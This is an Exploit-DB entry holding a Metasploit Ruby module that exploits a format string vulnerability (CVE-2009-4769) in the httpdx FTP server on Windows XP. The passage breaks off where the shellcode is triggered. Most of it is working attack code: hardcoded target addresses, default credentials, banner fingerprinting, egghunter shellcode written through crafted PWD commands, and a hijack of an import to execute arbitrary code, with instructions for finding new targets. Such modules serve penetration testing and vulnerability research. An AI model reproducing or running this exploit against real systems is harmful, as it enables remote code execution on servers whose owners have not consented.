Exploit-DB #16732
Description: httpdx - 'tolog()' Format String (Metasploit) (1)
Type: remote
Platform: windows
Date: 2010-08-25
Author: Metasploit

Exploit:
##
# $Id: httpdx_tolog_format.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Egghunter
	include Msf::Exploit::FormatString

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HTTPDX tolog() Function Format String Vulnerability',
			'Description'    => %q{
					This module exploits a format string vulnerability in HTTPDX FTP server.
				By sending an specially crafted FTP command containing format specifiers, an
				attacker can corrupt memory and execute arbitrary code.

				By default logging is off for HTTP, but enabled for the 'moderator' user
				via FTP.
			},
			'Author'         =>
				[
					'jduck'   # original discovery and metasploit module
				],
			'Version'     => '$Revision: 10150 $',
			'References'     =>
				[
					[ 'CVE', '2009-4769' ],
					[ 'OSVDB', '60181' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process'
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					# format string max length
					'Space'    => 1024,
					'BadChars' => "\x00\x0a\x0d\x25",
					'DisableNops'	=>  'True',
					'StackAdjustment' 	=> -1500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					#
					# Automatic targeting via fingerprinting
					#
					[ 'Automatic Targeting', { 'auto' => true }  ],

					#
					# specific targets
					#
					[	'httpdx 1.4 - Windows XP SP3 English',
						{
							'NumPops' 	=> 37,
							'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
							'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
						}
					],
					[	'httpdx 1.4.5 - Windows XP SP3 English',
						{
							'NumPops' 	=> 37,
							'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
							'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
						}
					],
					[	'httpdx 1.4.6 - Windows XP SP3 English',
						{
							'NumPops' 	=> 37,
							'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
							'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
						}
					],
					[	'httpdx 1.4.6b - Windows XP SP3 English',
						{
							'NumPops' 	=> 37,
							'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
							'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
						}
					],
					[	'httpdx 1.5 - Windows XP SP3 English',
						{
							'NumPops' 	=> 29,
							'Writable' 	=> 0x64f87810, 	# empty space in core.dll imports
							'FlowHook'	=> 0x64f870e8		# core.dll import for strlen
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 17 2009'))
=begin

NOTE: Even though all targets have the same addresses now, future targets may not.

To find a target:

1. open "core.dll" in IDA Pro
2. navigate to the "c_wildcmp" function
3. follow the xref to the first strlen
4. follow the xref to the imports area
5. copy/paste the address
6. the 'Writable' value should be anything after the last address IDA shows..
	(preferably something above 0x0d, to avoid bad chars)

If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
For now, that will have to be done manually.

=end
		register_options(
			[
				Opt::RPORT(21),
				# note the default user/pass
				OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']),
				OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123'])
			], self.class )
	end


	def check
		connect
		disconnect
		print_status("FTP Banner: #{banner}".strip)
		if banner =~ /httpdx.*\(Win32\)/
			return Exploit::CheckCode::Appears
		end
		return Exploit::CheckCode::Safe
	end


	def exploit

		# Use a copy of the target
		mytarget = target

		if (target['auto'])
			mytarget = nil

			print_status("Automatically detecting the target...")
			connect
			disconnect

			if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then
				print_status("FTP Banner: #{banner.strip}")
				version = m[1]
			else
				print_status("No matching target")
				return
			end

			self.targets.each do |t|
				if (t.name =~ /#{version} - /) then
					mytarget = t
					break
				end
			end

			if (not mytarget)
				print_status("No matching target")
				return
			end

			print_status("Selected Target: #{mytarget.name}")
		else
			print_status("Trying target #{mytarget.name}...")
		end

		# proceed with chosen target...
		connect_login

		# '<ip>\n PWD '
		ip_length = Rex::Socket.source_address(datastore['RHOST']).length
		num_start = ip_length + 1 + 3 + 1


		# use the egghunter!
		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

		# write shellcode to 'writable' (all at once)
		fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
		print_status(" payload format string buffer is #{fmtbuf.length} bytes")
		if (res = send_cmd(['PWD', fmtbuf ], true))
			print_status(res.strip)
		end


		# write 'writable' addr to flowhook (execute shellcode)
		# NOTE: the resulting two writes must be done at the same time
		fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)

		# add payload to the end
		fmtbuf << eh_egg
		print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
		if (res = send_cmd(['PWD', fmtbuf ], true))
			print_status(res.strip)
		end


		disconnect
		handler

		# connect again to trigger shellcode
		print_status(" triggering shellcode now")